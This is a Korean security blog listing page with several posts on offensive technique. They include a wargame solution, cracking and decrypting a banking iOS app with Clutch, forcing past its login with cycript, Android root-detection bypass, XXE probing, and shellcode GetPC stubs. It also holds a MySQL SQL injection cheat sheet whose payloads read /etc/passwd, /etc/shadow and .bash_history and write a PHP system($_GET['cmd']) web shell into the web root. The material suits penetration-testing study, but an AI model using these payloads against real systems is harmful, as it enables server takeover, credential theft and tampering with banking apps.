전체보기
- wargame.kr - login filtering(450) 2016.01.06
- iOS App Debugging - LLDB 2015.08.18 1
- iOS App Runtime 조작 2015.08.17
- 안드로이드 루팅 탐지 우회 2015.08.07
- 신뢰할수 없는 SSL경고 사이트 프록시 적용 - Burp 인증서 등록하기 2015.06.21 1
- NULL@ROOT 2015년 신입회원 모집 2015.06.05
- XXE(Xml eXternal Entity) Attack 2015.02.27 1
- Windows Kernel Reversing - Object 분석 2015.01.28
- Bypass Certificate Pinning - iOS / Android 2015.01.27
- 쉘코드 인코더 구현 / GetPC - 현재 실행 코드(eip, pc) 구하는 방법 2015.01.12 1
- Windows Heap Internals 2014.12.17
- 온라인 디컴파일러 - decompiler.fit.vutbr.cz 2014.10.31 3
- NTFS 분석 툴 - Disk Editor 2014.10.28
- SQL Injection Cheat Sheet - MySQL 2014.09.25 1
- MySQL 4.0 환경에서의 SQL Injection 2014.09.24
- KISA ActiveX 취약점 집중점검 후기 2014.09.01 2
- BOF 원정대 풀이(전체) 2014.05.07 2
- LD_PRELOAD 를 이용한 Hooking 2014.05.03
- 모의해킹을 편하게 해주는 유용한 취약점(1) - 톰캣 관리자 페이지를 이용한 웹쉘업로드 2014.04.30
- Bug Hunting (1) - Exploitable 취약점 분류 2014.04.23
- Naver XSS 제보 2014.03.14 4
- Secuholic Web Exploit Framework - Exploit Finder 베타버전 2014.03.04 3
- py2exe 사용법 2014.03.04
- lpad , conv 를 이용한 BlindSQL Injection 2014.02.11 1
- .htaccess 를 활용한 웹쉘 업로드 및 기타 공격 2014.02.09
- mysql 우회 기법 정리 2014.02.05
- SQL Injection(MySQL) - procedure analyze() 2014.02.04 2
- magic_qoutes_gpc() 우회 / getenv() 로 값을 가져올때의 SQL Injection 2014.02.03
- ios app hacking - (1) ios app 의 구조 2014.02.03
- md5 를 raw_input 으로 비교할 시 취약점 2014.02.01
wargame.kr - login filtering(450)
login filtering 문제는 쿼리후 PHP 비교구문에 의해 필터링 되는 것을 우회하는 문제이다. 처음에는 mysql char field 최대값 65535
오버플로우 취약점을 이용한 문제인 줄 알았으나 점수에 비해 너무 깊게 생각했다.
해당 문제는 "php 구문은 비교시 대소문자 구분한다는 것", "mysql 은 비교시 대소문자를 구분하지 않는다는 것" 이 2가지로 풀 수
있는 문제였다. id = gueST 등으로 입력하면 쿼리 결과는 참이되어 gueST가 리턴되지만 gueST == guest 는 거짓이 되어 패스워드가
출력된다.
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - Crypto Crackme Basic (0) | 2017.10.24 |
---|---|
wargame.kr - web chatting (650p) (0) | 2017.09.13 |
wargame.kr - Simpleboard(600) (0) | 2017.09.12 |
wargame.kr - Easy CrackMe(500p) (1) | 2016.01.11 |
wargame.kr - fly to the moon(500p) (0) | 2016.01.07 |
iOS App Debugging - LLDB
LLDB 를 이용한 리모트 디버깅 간략 정리
출처 원문 : http://versprite.com/og/ios-reverse-engineering-part-one-configuring-lldb/
iOS 8.4 버전으로 넘어오면서 현재 GDB가 정상 동작하지 않는다.(직접 컴파일 해보진 않았다)
실행은 되지만 디버깅 시 뭔가 오류가 발생하며 제대로 동작하지 않으므로 대안으로 LLDB 를 사용할 수 있다.
(몇몇 고수들은 LLDB가 더 좋다는 사람도 있다)
# hdiutil attach /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/
DeviceSupport/8.0\\(12A365\)/DeveloperDiskImage.dmg
# cp /Volumes/DeveloperDiskImage/usr/bin/debugserver /Users/hyunmini/
# vi entitlements.plist
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<!
DOCTYPE
plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/ PropertyList-1.0.dtd">
<
plist
version
=
"1.0"
>
<
dict
>
<
key
>com.apple.springboard.debugapplications</
key
> <
true
/>
<
key
>run-unsigned-code</
key
>
<
true
/>
<
key
>get-task-allow</
key
>
<
true
/>
<
key
>task_for_pid-allow</
key
>
<
true
/>
</
dict
>
</
plist
>
# codesign -s - --entitlements entitlements.plist -f debugserver
# sftp root@x.x.x.x
#> put debugserver
# exit
여기까지 debugserver 를 업로드 하는 과정이다. 이제 iOS 디바이스에서 디버그서버를 실행하고 대기 한 뒤 디버거로 붙으면 된다.
=========================
# iOS 디바이스에서
=========================
# ps -ef | grep [process name] // pid 확인
# ./debugserer *:7777 --attach=[pid] // debugserver 실행
=========================
# MAC 에서
=========================
(lldb) platform select remote-ios // 디버깅 플랫폼 지정
(lldb) process connect connect://192.168.20.107:7777 // debugserver 에 접속
이제부터 디버깅을 시작하면 된다.
(lldb) b objc_msgSend
(lldb) c
(lldb) register read
'iOS App Hacking' 카테고리의 다른 글
ios 앱 사용자 함수 hooking (using frida) (2) | 2017.08.16 |
---|---|
ios app 복호화 - Clutch 2.x 버전 (0) | 2017.02.14 |
iOS App Runtime 조작 (0) | 2015.08.17 |
ios app hacking - (1) ios app 의 구조 (0) | 2014.02.03 |
iOS App Runtime 조작
iOS 앱을 조작하는 방법에는 여러가지가 있다. 그중 cycript 를 이용한 방법에 대해 알아보자.
먼저 앱에 어떤 클래스가 있는지 어떤 메소드가 존재하는지 확인을 해야 수월한 분석이 가능하다. 하나씩 차분히 확인해 보도록 하자.
1. 클래스 분석
바이너리 클래스 분석에는 여러가지 툴이 사용되나, 아래 세가지 정도가 주로 사용된다.
1) class-dump-z
2) class-dump
3) IDA Pro
공통적으로 위 툴들을 사용하기 위해서는 바이너리 암호화를 먼저 풀어주어야 한다. 수동으로 복호화 할 수도 있지만
여기에선 clutch 를 이용한 자동 복호화를 알아 보자.
clutch 는 복호화 과정(메모리 덤프 - cryptid 조작)을 편리하게 자동으로 모두 해 준다.
iPhone:~ root# ./Clutch 2015-08-17 16:16:10.789 Clutch[887:24896] checking localization cache You're using a Clutch development build, checking for updates.. Your version of Clutch is up to date! Clutch 1.4.7 (git-2) --------------------------------- is iOS 8 application listing method brah is iOS 8 application listing method brah DEBUG | Preferences.m:42 | preferences_location: /etc/clutch.conf DEBUG | Preferences.m:43 | { RemoveMetadata = YES; } Daum maps HyundaiAppCard kbbank-ios kbminibank MiniSmartShinhan ShcTopsClub ShinhanCard SHRNDCard SHSmartPay YelloJihachul |
옵션없이 실행하면 위와 같이 현재 설치된 앱들 목록이 출력된다. 해당 앱을 선택하면 간단히 크랙(복호화)된다.
gimmanbog-ui-iPhone:~ root# ./Clutch ****bank
Clutch 1.4.7 (git-2)
---------------------------------
is iOS 8 application listing method brah
DEBUG | Preferences.m:42 | preferences_location: /etc/clutch.conf
DEBUG | Preferences.m:43 | {
RemoveMetadata = YES;
}
DEBUG | main.m:609 | app to crack {
ApplicationBasename = "kbminibank.app";
ApplicationBundleID = "com.kbstar.minibank";
ApplicationContainer = "/var/mobile/Containers/Bundle/Application/B8D46E0B-28D6-482F-8A23-C610A127DF90/";
ApplicationDirectory = "kbminibank.app";
ApplicationDisplayName = "\Uc2a4\Ud0c0\Ubc45\Ud0b9\Ubbf8\Ub2c8";
ApplicationExecutableName = kbminibank;
ApplicationName = kbminibank;
ApplicationVersion = "1.0.5.1";
MinimumOSVersion = "5.1.1";
PlugIn = 0;
RealUniqueID = "B8D46E0B-28D6-482F-8A23-C610A127DF90";
}
...(중략)...
DEBUG | Binary.m:1291 | 32-bit Region Size: 16384 5242880
DEBUG | Binary.m:1291 | 32-bit Region Size: 5242880 5242880
dumping binary: performing dump
dumping binary: patched cryptid
[====================================================>] 100%
dumping binary: writing new checksum
...(중략)...
DEBUG | Cracker.m:326 | Saved cracked app info!
/User/Documents/Cracked/**뱅킹미니-v1.0.5.1-no-name-cracker-(Clutch-1.4.7).ipa
elapsed time: 7.26s
Applications cracked:
****bank
Total success: 1 Total failed: 0
2. Cycript 연결
cycript 연결은 단순히 PID 값만 옵션으로 주면 된다. ps -ef 를 이용하여 확인한 PID 를 넣어 주도록 하자.
# ps -ef
...
0 865 1 0 0:00.00 ?? 0:00.03 /System/Library/PrivateFrameworks/CoreSymbolication.framework/c
0 881 1 0 0:00.00 ?? 0:00.28 sshd: root@ttys001
501 892 1 0 0:00.00 ?? 0:00.97 /var/mobile/Containers/Bundle/Application/240AD9E1-8F55-4A99-9E
...
immanbog-ui-iPhone:~ root# cycript -p 892
cy#
cy# UIApp.delegate
#"<RnDCardAppDelegate: 0x17e7ee70>"
cy# var m = [[MainViewController alloc ] init ] // 변수 m 에 메인 뷰 할당
#"<MainViewController: 0x17df3530>"
cy# UIApp.keyWindow.rootViewController = m // 현재 뷰를 강제로 메인 뷰로 바꿈
#"<MainViewController: 0x17df3530>"
=> 로그인 절차 등을 우회하여 메인 뷰 강제 이동 가능. 다만 로그인이 되지 않은 상태로 강제 이동이므로 사용에 제한이 있을 수 있음
cy# var m = [[LoginViewController alloc ] init ] // 로그인 뷰 할당
#"<LoginViewController: 0x17db21b0>"
cy# UIApp.keyWindow.rootViewController = m // 현재 뷰를 로그인 뷰로 바꿈
#"<LoginViewController: 0x17db21b0>"
=> 루팅, 무결성 탐지창이 뜨고 화면이 멈춘 상태에서 cycript 를 이용하여 강제로 로그인 화면으로 전환
cy# app.keyWindow.recursiveDescription // 관련 윈도우 등 출력
'iOS App Hacking' 카테고리의 다른 글
ios 앱 사용자 함수 hooking (using frida) (2) | 2017.08.16 |
---|---|
ios app 복호화 - Clutch 2.x 버전 (0) | 2017.02.14 |
iOS App Debugging - LLDB (1) | 2015.08.18 |
ios app hacking - (1) ios app 의 구조 (0) | 2014.02.03 |
안드로이드 루팅 탐지 우회
안드로이드 루팅 탐지 우회
안드로이드 앱중 보안성을 중요시 하는 일부 앱들의 경우 루팅 및 무결성을 탐지하여 사용을 제한하고 있다.
이러한 경우 탐지 기법에 따라 몇가지 우회 방법들이 존재한다. 이에 대해 간략히 정리해 본다.
1. 루팅우회
1.1. 루팅 탐지 기법
직접 탐지하기도 하지만, 대부분 솔루션(주로 백신 모듈)을 통해서 수행한다. 매우 다양한 방법이 존재한다.
1) su 바이너리 탐지
- 목록 확인
/system/bin/su /system/xbin/su /sbin/su /system/su /system/bin/.ext/.su /system/usr/su-backup /system/xbin/mu
- File Search API 를 통해 탐색
2) 프로세스 리스트 탐지
- ps 명령 혹은 내부 명령 구현을 통해 프로세스 목록 확인
3) 설치된 패키지 목록 탐지
- /system/app 폴더에 존재하는 apk 파일 확인
private static boolean checkRoot() {
String[] paths = { "/system/app/Superuser.apk", "/system/app/su.apk", "/system/app/Spapasu.apk", etc... };
for (String path : paths) {
if (new File(path).exists()) return true;
}
return false;
}
- 패키지 목록 확인
$ pm list packages | grep root pm list packages | grep root package:com.devadvance.rootcloak package:com.devadvance.rootcloakplus package:com.jrummy.root.browserfree package:com.geohot.towelroot |
4) 루팅 카운트 탐지
5) busybox 및 관련 명령어 탐지
6) build.tags 확인
7) 폴더 권한 확인
루팅 후에는 편의를 위해 쓰기 권한을 추가해서 remount 하고 write 권한을 주는 경우가 있다.
다양한 디렉토리들의 쓰기 권한 검증을 수행할 수 있다.
/
/data /system /system/bin /system/sbin /system/xbin /vendor/bin /sys /sbin /etc ...
1.2. 루팅 탐지 기법 우회
루팅 탐지를 어떤 방식으로 하는지에 대한 분석이 완료되면 우회는 간단하다. 탐지하는 파일 혹은 폴더 등을 숨기거나 변경하는 방법,
결과값을 받아온 후 조건에 따른 앱 내부 분기문 코드를 조작하여 리패키징 하는 방법, 후킹을 통해 API 를 조작하는 방법 등이 있다.
1) 파일 혹은 폴더 변경
2) smail 코드 패칭
3) 후킹
'Android Hacking' 카테고리의 다른 글
모바일 앱에서 frida timeout error 해결 방법 (1) | 2017.07.26 |
---|---|
DBI on Android - ADBI(Android Dynamic Binary Instrumentation) (1) | 2016.02.14 |
error: only position independent executables (PIE) are supported 에러 해결 (2) | 2016.02.05 |
Bypass Certificate Pinning - iOS / Android (0) | 2015.01.27 |
안드로이드 프로젝트 기본 구조 (1) | 2012.11.27 |
신뢰할수 없는 SSL경고 사이트 프록시 적용 - Burp 인증서 등록하기
보안 공부를 하는 사람들이라면 Burp Proxy 툴은 대부분 잘 알고 있을 것이다.
Burp 는 자동으로 SSL이 적용된 사이트에서도 MITM 을 자동으로 수행해 주어 트래픽을 수정할 수 있게 해 준다.
하지만 간혹 google 및 일부 금융 사이트들에서는 안 되는 경우가 있다.(SSL과 PKI의 개념까지 설명하면 너무 길어지니 굳이 개념을 설명하진 않겠다.)
간단히 말해서 MITM을 하므로 브라우저는 신뢰할 수 없는 인증서로 인식하여 빨갛게 표시해 주게 된다. 브라우저가 가지고 있는 신뢰할 수 있는 루트 기관 목록이 아니기 때문이다.
이러한 경우에는 Burp 인증서를 브라우저에 신뢰인증기관 인증서로 등록해 주면 된다.
http://burp/ 로 접속해 보면 CA인증서를 다운로드 받을 수 있다. 혹은 http://burp/cert 를 입력하면 바로 다운로드 할 수 있다.
인증서를 저장 한 뒤 설치하면 된다.
이렇게 다운받은 인증서를 신뢰할 수 있는 루트 인증 기관으로 설치를 마치고 나면 아래와 같이 정상적인
SSL사이트로 보이는 것을 확인 할 수 있다. 이제 프록시로 접속이 안되던 일부 SSL사이트도 기존 HTTP와 마찬가지로
수정이 가능하다~
'Web Hacking' 카테고리의 다른 글
php 의 연산자 취약점 (1) | 2016.07.28 |
---|---|
PHP "==" 연산자 취약점 (1) | 2016.01.12 |
XXE(Xml eXternal Entity) Attack (1) | 2015.02.27 |
SQL Injection Cheat Sheet - MySQL (1) | 2014.09.25 |
MySQL 4.0 환경에서의 SQL Injection (0) | 2014.09.24 |
NULL@ROOT 2015년 신입회원 모집
'ETC' 카테고리의 다른 글
맥에서 wine 활용하기 - 기본 설정 및 IDA Pro 실행 (0) | 2017.05.18 |
---|---|
NTFS 분석 툴 - Disk Editor (0) | 2014.10.28 |
pywinauto 를 이용한 윈도우 자동화(?) (0) | 2013.03.26 |
XXE(Xml eXternal Entity) Attack
시간내서 정리 해야지 해야지 하다가 최근 모의해킹에 사용할 일이 생겨서 정리해 둔다.
1) 공격 대상 및 소스
간단하게 XML 로 입력을 받아서 파싱한 후 출력해주는 페이지이다. 실제로도 생각보다 현업에도 종종 있다.
물론 저렇게 직접 입력을 받는 것은 아니고 파라미터로 입력받은 문자들을 XML로 주고 받는 형식이 대부분이다.
1) 공격 가능성 확인
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY foo SYSTEM "http://192.168.0.8/ping"> ]> <test><testing>&foo;</testing></test> |
결과
root@kali:/var/log/apache2# tail -f access.log 192.168.0.8 - - [26/Feb/2015:23:47:17 +0900] "GET /ping HTTP/1.0" 404 482 "-" "-" 192.168.230.2 - - [26/Feb/2015:23:47:17 +0900] "GET /xml2.php HTTP/1.1" 200 388 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36" |
로그가 찍히는 것으로 보아 정상적으로 서버에 결과값이 전송됨을 알 수 있다.
'Web Hacking' 카테고리의 다른 글
PHP "==" 연산자 취약점 (1) | 2016.01.12 |
---|---|
신뢰할수 없는 SSL경고 사이트 프록시 적용 - Burp 인증서 등록하기 (1) | 2015.06.21 |
SQL Injection Cheat Sheet - MySQL (1) | 2014.09.25 |
MySQL 4.0 환경에서의 SQL Injection (0) | 2014.09.24 |
Naver XSS 제보 (4) | 2014.03.14 |
Windows Kernel Reversing - Object 분석
제목은 커널 리버싱이지만, 단순히 툴 소개이다.(-.-;;) 애플리케이션 분석을 하다가도 커널에서 관리하는 구조체 등을
분석해야 하는 일이 자주 생긴다. 해서 이런 저런 자료들을 찾다보니 편리한 툴을 하나 찾았다.
Symbol Type Viewer 인데, 분석할 파일만 넣어주면 자동으로 Microsoft 심볼 서버와 연동해서 구조체들을 보여준다.
ntdll.dll. kernel32.dll 등의 파일의 구조체 정보가 유용하다.
아래 그림은 ntdll.dll 을 열어 본 화면이다.
.idc 로 export 해서 IDA Pro 에서 분석 정보로 활용할 수도 있다.
설명 끝~
'Reversing' 카테고리의 다른 글
Windbg 기본 - (3) 분석시 유용한 명령어들 (2) | 2016.03.01 |
---|---|
WinDBG 심볼 간편 설정 (0) | 2016.03.01 |
온라인 디컴파일러 - decompiler.fit.vutbr.cz (3) | 2014.10.31 |
비주얼 베이직 리버싱 팁 - vb decompiler To IDC(ida script) (1) | 2013.12.23 |
.net 프로그램 리버싱 툴 (1) | 2013.03.03 |
Bypass Certificate Pinning - iOS / Android
모바일에만 해당되는 것은 아니지만 최근 HTTPS 사이트 몇군데에서 프록시 툴을 차단하는 경우가 있다.
프록시 툴은 MITM 을 수행하여 자신을 클라이언트로 HTTPS 로 연결한 뒤 클라이언트와 중계해 주는 방식으로 HTTPS 패킷을
볼 수 있게 해준다. 이러한 프록시를 차단하기 위한 한가지 방법으로 소개된 Certificate Pinning 은 클라이언트 상에서 CA를 검증
하여 자신이 접근해야 할 사이트가 아니면 차단하는 방법으로 구현되어 있다.
여기서 가장 큰 문제점은 클라이언트 상에서 구현이 된다는 것이다. 리버싱을 통해 얼마든지 우회가 가능하다는 말이기 때문이다.
방법은 몇가지가 있다.
1) 클라이언트 리버싱 + 코드패칭
- 코드 분석 후 리버싱, 리패키징
2) 후킹을 통한 우회
- 주로 사용되는 통신 API 후킹, 오버라이드
- iOS / NSStream, CFStream, NSURLConnection
- Android / HttpsURLConnection
1번은 코드에 따라 다르니 알아서 우회하면 되고, 2번은 자동화 툴이 공개되어 있다.
- iOS / iOS SSL Kill Switch / https://github.com/iSECPartners/ios-ssl-kill-switch
- Andoid / Android SSL Bypass Tool / https://github.com/iSECPartners/android-ssl-bypass
상세 분석은 다음에~
'Android Hacking' 카테고리의 다른 글
모바일 앱에서 frida timeout error 해결 방법 (1) | 2017.07.26 |
---|---|
DBI on Android - ADBI(Android Dynamic Binary Instrumentation) (1) | 2016.02.14 |
error: only position independent executables (PIE) are supported 에러 해결 (2) | 2016.02.05 |
안드로이드 루팅 탐지 우회 (0) | 2015.08.07 |
안드로이드 프로젝트 기본 구조 (1) | 2012.11.27 |
쉘코드 인코더 구현 / GetPC - 현재 실행 코드(eip, pc) 구하는 방법
쉘코드 인코더를 직접 구현해 보던 중 현재 실행 코드 주소를 알아내는 테크닉이 필요해서 정리해 둔다.
인코더를 구현하기 위해서는 현재 실행중인 코드 주소를 알아내야 한다. 아래처럼 디코더가 인코딩된 쉘코드의 주소값을 알아야
하기 때문이다.
| 디코더 | 인코딩된 쉘코드 |
| ^
-----l
여기서 실행코드 주소란 바로 위에 표시된 주소를 구하는 방법인데, 이미 잘 알려진 몇가지 방법이 있다. 또한 이
방법들은 메타스플로잇 msfencode 의 여러 인코더들이 사용중인 방법들이다.
1) call + 5
e8 00 00 00 00 call 0x5 58 pop eax |
call 명령이 실행되면 스택에 돌아올 주소를 push 한 뒤 해당 주소로 점프하게 되는데, 0x5로 점프하게 되면 바로
다음줄 명령으로 점프하게 되고, 스택에 저장된 코드주소를 pop 으로 꺼내는 원리이다. 아래 그림을 보면 실행 후
eax 에 코드 주소가 저장되어 있는 것을 볼 수 있다.
2) call + 4
e8 ff ff ff ff call 0x4 c2 ret 59 pop ecx |
이전과 비슷하지만, call + 4를 하기 때문에 자기 자신( ff 의 끝) 으로 점프하게 된다.(아래 그림) 점프 한 뒤에는 ff c2 가 RET가
아닌 INC EDX 로 해석되고, 바로 뒤의 pop 을 통해 스택에 저장되어 있는 코드 주소를 가져와서 ecx 레지스터에 저장해 준다.
call 명령 전
call 명령 후 재 해석 된 명령어
3) FPU 명령어 이용(fstenv)
d9 ee fldz d9 74 24 f4 fnstenv [esp-0xc] 58 pop eax |
위의 기본적인 fldz, fnstenv 등의 fpu 관련 명령어를 이용할 수도 있다. 부동소수점 관련 연산 명령어들인데, 위의 두 방법보다 더
깔끔하고 안정적인 방법인 듯 하다. 가장 많이 쓰이는 msfencode 인코더 중 하나인 shikata_ga_nai 도 이 방법으로 구현되어 있다.
fnstenv 명령이 실행되면 스택에 fldz 명령 주소값이 들어간다. 그림을 보면 fldz 명령 주소인 0x401000 이 들어가 있음을 알 수 있다.
4) backword call
eb 03 jmp short 0x5 (1) 5e pop esi (3) ff e6 jmp esi (4) e8 f8 ff ff ff call -7 (2) shellcode(아래 그림 nop 부분) ... |
마찬가지로 call 을 하면 다음 명령어 주소가 스택에 저장되는 것을 이용한 것으로, 이 또한 많이 사용되는 방법 중 하나이다. 다만
역방향 call 을 한다는 것만 다르다.
이 외에도 몇가지 방법이 더 있으나..이정도면 충분한 듯 하다. 이 getpc 코드들은 일반적으로 인코더의 첫 부분에 들어가는데,
동일한 코드를 사용하면 단순 패턴 탐지만으로도 백신, IDS 등에 탐지될 수 있으므로 레지스터, 명령어 순서 변경, 쓰레기 명령
삽입 등으로 다형성을 추가할 수 있다. 이 부분은 다음 블로깅에서 이어 가도록 하겠다.
'Windows System Hacking' 카테고리의 다른 글
[번역] Smashing The Browser: From Vulnerability Discovery To Exploit (0) | 2017.11.15 |
---|---|
Internet Explorer 10 Exploit - God mode (0) | 2017.06.07 |
Windows Heap Internals (0) | 2014.12.17 |
Paimei - pstalker 모듈 소개 (0) | 2013.06.19 |
Windows bufferoverflow (6) - ROP 2 (bypass DEP with mona.py) (5) | 2013.06.09 |
Windows Heap Internals
Windows 7 Low Fragmentation Heap ListHint, Freelist
- 응용프로그램이 메모리를 요청하면 Frontend 인 LFH 에 의하여 "이미 해제된 메모리 블럭 리스트" 중에서 반환을 해 준다. 단편화를 줄이기 위해(low fragmentation)
요청한 메모리 크기를 만족시키는 가장 작은 메모리블럭을 반환해준다. 또한 최근에 해제된 메모리를 반환해 주는 경향이 있다. 만약 Frontend 가 처리할 수 없는
크기의 요청이 들어오면 Back-end 단에 요청을 해서 새롭게 메모리를 할당받는 구조이다.
ㅁ Use-After-Free 의 공격 원리
- ex) 32 byte 의 객체가 free 되었을때, free 된 객체와 비슷한 사이즈로 객체를 할당받으면 LFH 에 의해 최근에 반환된 메모리 블럭(주소)를 할당받게 되어 덮어쓸 수 있다.
이렇게 되면 VTable 을 변조할 수 있게 되어 (Fake VTable) 이를 이용하여 임의의 쉘코드를 실행시킨다.
'Windows System Hacking' 카테고리의 다른 글
Internet Explorer 10 Exploit - God mode (0) | 2017.06.07 |
---|---|
쉘코드 인코더 구현 / GetPC - 현재 실행 코드(eip, pc) 구하는 방법 (1) | 2015.01.12 |
Paimei - pstalker 모듈 소개 (0) | 2013.06.19 |
Windows bufferoverflow (6) - ROP 2 (bypass DEP with mona.py) (5) | 2013.06.09 |
Windows bufferoverflow (5) - ROP 1 (DEP 와 우회방법) (2) | 2013.06.08 |
온라인 디컴파일러 - decompiler.fit.vutbr.cz
http://decompiler.fit.vutbr.cz
온라인으로 제공되는 디컴파일러 입니다. 상당히 유용하네요.
Arm , MIPS, 심지어 PowerPC 도 지원됩니다.
해보니 헥스레이처럼 간지(?)가 나진 않지만...무료이고 다양한 플랫폼을 지원하므로 급할때 유용합니다.
'Reversing' 카테고리의 다른 글
WinDBG 심볼 간편 설정 (0) | 2016.03.01 |
---|---|
Windows Kernel Reversing - Object 분석 (0) | 2015.01.28 |
비주얼 베이직 리버싱 팁 - vb decompiler To IDC(ida script) (1) | 2013.12.23 |
.net 프로그램 리버싱 툴 (1) | 2013.03.03 |
Windbg 기본 - (2) 기본 명령어들-2 (0) | 2012.08.08 |
NTFS 분석 툴 - Disk Editor
포렌식 문제 풀이를 하다가 쓸만한 툴을 발견했다.
010 에디터나 WinHEX, HxD 등의 에디터를 사용해도 상관없지만 이 툴의 경우 파일을 골라서 오픈한 뒤 템플릿을 이용할 수 있어서
편리하다.
Active Disk Editor 5.0
'ETC' 카테고리의 다른 글
맥에서 wine 활용하기 - 기본 설정 및 IDA Pro 실행 (0) | 2017.05.18 |
---|---|
NULL@ROOT 2015년 신입회원 모집 (0) | 2015.06.05 |
pywinauto 를 이용한 윈도우 자동화(?) (0) | 2013.03.26 |
SQL Injection Cheat Sheet - MySQL
SQL Injection 맨날 하면서도 맨날 까먹어서 치트시트 검색하곤 했는데 그냥 직접 만들어 놓고 보기로 했다.
시작은 MySQL !!
### SQL Injection Cheat Sheet - MySQL ###
v0.1
by hyunmini
last updated 2014.09.25
# 테스트 순서 |
1. 취약여부 확인 및 공격 기법 선택 1) Basic Injection // 취약점 테스트 ex) no=1 and 1=1# 2) Error Based Injection // 데이터베이스 가져오기 가장 편함
ex) no=-1' (에러 메시지 출력 유무 확인) 3) Union Injection // 쿼리 하나당 결과 하나이상 가져올 수 있음 ex) no=-1 union select 1,2 -- no=-1 union select 1,2,3 -- no=-1 union select 1,2,3,4 -- ( 문자열이고 화면에 보여지는 컬럼 확인 ) 4) Blind Injection // 쿼리8번에 1글자씩 가져옴. 느리고 툴이 필요함 ex) no=1 and 1=1 # no=1 and 1=2 # no=1 and substring( version(), 1,1 ) > '4' 2. 버전 확인 - 4.0 이하와 4.1 이상 버전의 공격기법에 차이가 있음(4.0 이하는 subquery 불가 및 information_schema 미존재) ex) version(), @@version 등 3. 테이블명 추출 ex) ' and 1,2,3, (select table_name from information_schema.tables limit 0,1),4 -- output => userinfo 4. 필드명 추출 ex) ' and 1,2,3, (select column_name from information_schama.columns limit 0,1), 4 -- output => uid
5. 데이터 추출 ex) ' and 1,2,3, (select uid from userinfo limit 0,1), 4 -- output => admin
6. 접속 유저 및 파일 권한 확인 7. OS Interaction 공격 시도
- load_file('/etc/passwd') -> 계정 및 홈폴더 등 확인 - load_file('/etc/shadow') - > shadow 크랙 -> 크랙된 계정으로 서버 접근 시도 - load_file('/root/.bash_history') -> 명령어 확인, 간혹 mysql -U[user] -P[password] 등의 정보도 확인 가능 - load_file('/.rhosts') -> 신뢰호스트 및 계정 확인, 서버 접근 시도 - load_file('/etc/apache2/apache2.conf') -> document root 폴더 확인, 기타 서비스 확인 등 - select '<? system("$_GET['cmd']"); ?>' into outfile '/var/www/shell.php' -> www.vul.com/shell.php?cmd=id
|
# Basic Injection |
1. String ' and 1=1-- ' or 'a'='a '=' ' and 'c'='c ' and 1# ' or '1 ' or 1--+ " or ""=" "=" '=' '=0# 2. Numeric and 1=1# and 1 and true = 1-- and 1*1 and 3-2 =0 |
# Comment |
# -- /* */ -- ; ; %00 ` |
# Error Based Injection |
mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;
-> ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key' ' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)# -> ERROR 1062 (23000): Duplicate entry 'result: test :1' for key 'group_key' |
# Union Injection |
1) 컬럼수 확인 ' union 1 -- ' union 1,2 -- ' union 1,2,3 -- 2) 문자필드 및 출력필드 확인 ' union 1,2,'a',4,5 -- ' union 1,2,3,'a',5 -- 3) Union 인젝션 -1' union select 1,2,3,version(),0 # // 4.0 이하 -1' union select 1,2,3,(select version()),0 # // 서브쿼리는 4.1 이상만 가능 -1' union select 1,2,3,user from mysql.user # // 4.0 이하에서 서브쿼리 대신 사용 가능 |
# BlindSQL Injection |
' and 1=1 # // True ' and 1=2 # // False ' or 1=1 -- ' or 1=2 -- ' and 'c' between 'a' and 'z' # ' and substring( (select table_name from information_schema.tables limit 0,1),1,1 ) > 'a' |
# Insert Injection |
b', 'c','d')-- b', 'c','d')('a','b','c','d')# b', 'c','d')( user(), version(), 'c','d') # |
# False Injection |
a'=0 # a'=1=1 # // True, 결과값 없음 a'=1=0 # // False, 논리적으로 1=1과 같음 => 모든 데이터 출력 a'=1=1=1=0 # a'=1=1=1=1<>1 # no=1<>0 no=1<>1 no=1<0 no=1<1 no=1*1 no=1*0 no=1%0 no=1%1 no=1 div 0 no=1 div 1 no=1 regexp 0 no=1 regexp 1 no=1^0 no=1^1 ... ex) False Injection 로그인 우회 id='=' id=1'='0 id=1'^'1 id=1'-'1 ex) False Blind Injection ( 아래 예제는 버전이 5.0 인 경우 ) no=1=(if( substr(version(),1,1)='5' ,1 ,0 ))=0 # // 1=0(False) , 데이터 출력 no=1=(if( substr(version(),1,1)='4' ,1 ,0 ))=0 # // 0=0(True) , 결과 없음 |
# Basic Information |
select @@version // 버전 select version() // 버전 select user() select system_user() |
# MySQL Function |
1. string
mid() left() right() concat('a','b','c') = 'abc' 2. |
# File I/O
# Filter Bypass
# Outbound
# 팁
- load_file()을 이용한 서버 정보 추출
- into outfile, dumpfile 을 이용한 웹쉘 생성
'Web Hacking' 카테고리의 다른 글
신뢰할수 없는 SSL경고 사이트 프록시 적용 - Burp 인증서 등록하기 (1) | 2015.06.21 |
---|---|
XXE(Xml eXternal Entity) Attack (1) | 2015.02.27 |
MySQL 4.0 환경에서의 SQL Injection (0) | 2014.09.24 |
Naver XSS 제보 (4) | 2014.03.14 |
lpad , conv 를 이용한 BlindSQL Injection (1) | 2014.02.11 |
MySQL 4.0 환경에서의 SQL Injection
MySQL 4.0 이하 버전에서는 information_schema 가 없다. 즉 테이블, 필드명을 알 수 없다는 것이다.
하지만 모의해킹을 위해서는 알아내야만 한다. 해결 방법은 여러가지가 있다.
1) 추측(brute forcing)
search_value=-1' union select 'abcde',1,2 from mail#
=> java.lang.Exception: General error, message from server: "Table 'cleandb.mail' doesn't exist"
2) 소스코드 열람(union 혹은 blind, error based 등 모두 가능)
-1' union select load_file('/etc/passwd'),2,3#
=> 계정 및 홈폴더 파악
-1' union select load_file('/var/www/htm/member.php'),2,3#
=> 소스코드 열람 및 쿼리문을 보고 테이블명 확인
3) MySQL 로그파일 열람
-1' union select load_file('/var/log/mysql/log/error.log'),2,3#
4) 웹쉘 업로드
-1' union select '<? system($_GET['cmd']); ?>',0,0 into outfile '/var/www/html/shell.php'# (혹은 dumpfile)
